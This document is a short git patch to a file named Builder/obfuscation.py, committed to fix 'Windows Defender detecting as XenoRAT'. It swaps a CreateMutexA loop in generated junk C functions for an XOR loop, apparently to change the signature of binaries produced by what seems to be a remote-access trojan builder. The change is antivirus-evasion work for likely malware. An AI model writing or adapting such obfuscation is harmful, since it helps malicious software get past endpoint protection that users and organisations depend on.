From 15c8e787e296611fdd2d7907dbfbed10fbb05a95 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Sat, 24 Aug 2024 19:48:23 +0200 Subject: [PATCH] fix: Windows Defender detecting as XenoRAT --- Builder/obfuscation.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Builder/obfuscation.py b/Builder/obfuscation.py index d4a35ac..b36a002 100644 --- a/Builder/obfuscation.py +++ b/Builder/obfuscation.py @@ -63,7 +63,8 @@ def GetRandomFunction() : body += "\tif (a1 <= (void*)0x00100000) return 0;\n" body += "\tchar aaa = ((char)((int)'0' + 1));\n" body += f"\tint bb = {GetRandomNumber()};\n" - body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, &aaa);\n\t\tbb++;\n\t}\n\treturn bb;\n}" + body += f"\tint r = {GetRandomNumber()};\n" + body += "\tfor (int i = 0; i < bb; i++) {\n\t\tr ^= i;\n\t}\n\treturn bb;\n}" return body